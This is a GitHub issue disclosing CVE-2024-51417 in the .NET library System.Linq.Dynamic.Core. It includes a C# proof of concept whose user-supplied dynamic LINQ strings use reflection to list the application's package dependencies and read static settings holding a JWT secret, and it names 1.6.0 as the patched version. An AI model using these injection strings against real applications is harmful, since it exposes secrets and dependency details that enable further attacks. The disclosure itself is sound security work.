Skip to content

CVE-2024-51417: System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields #867

Description

@mariusz96

Summary

System.Linq.Dynamic.Core allows remote access to properties on reflection types and static properties/fields.

Details

Access to properties on reflection types allows listing installed nuget packages' names and versions through attributes and base types they require. Then it is possible to google and exploit their vulnerabilities.

Access to static properties/fields allows just as implied.

PoC

usingSystem.Linq.Dynamic.Core;varcustomers=newList<Customer>(){newCustomer(){Id=1,Name="Mariusz"}};varuserSuppliedColumns1=new[]{""" string.Join( "\r\n", GetType().Assembly.DefinedTypes.SelectMany(CustomAttributes).Select(AttributeType).Select(AssemblyQualifiedName)) """,""" string.Join( "\r\n", GetType().Assembly.DefinedTypes.Select(BaseType).Select(AssemblyQualifiedName)) """,""" c => string.Join( "\r\n", c.GetType().Assembly.DefinedTypes.SelectMany(t => t.CustomAttributes).Select(a => a.AttributeType).Select(t => t.AssemblyQualifiedName)) """,""" c => string.Join( "\r\n", c.GetType().Assembly.DefinedTypes.Select(t => t.BaseType).Select(t => t.AssemblyQualifiedName)) """};foreach(varuserSuppliedColumninuserSuppliedColumns1){foreach(varcustomerincustomers.AsQueryable().Select(userSuppliedColumn)){Console.WriteLine(customer);Console.WriteLine();}}varuserSuppliedColumns2=new[]{""" AppSettings.SettingsProp["jwt"] """,""" AppSettings.SettingsField["jwt"] """,""" c => AppSettings.SettingsProp["jwt"] """,""" c => AppSettings.SettingsField["jwt"] """};foreach(varuserSuppliedColumninuserSuppliedColumns2){foreach(varcustomerincustomers.AsQueryable().Select(userSuppliedColumn)){Console.WriteLine(customer);Console.WriteLine();}}publicclassCustomer{publicintId{get;set;}publicstringName{get;set;}}publicstaticclassAppSettings{publicstaticDictionary<string,string>SettingsProp{get;}=new(){{"jwt","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"}};publicstaticDictionary<string,string>SettingsField=new(){{"jwt","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"}};}

Impact

Properties on reflection types PoC executes successfully in System.Linq.Dynamic.Core.1.0.0 and up (patched in System.Linq.Dynamic.Core.1.6.0).

Static properties/fields PoC executes successfully in System.Linq.Dynamic.Core.1.3.10 and up (patched in System.Linq.Dynamic.Core.1.6.0).

Metadata

Metadata

Assignees

Labels

Type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions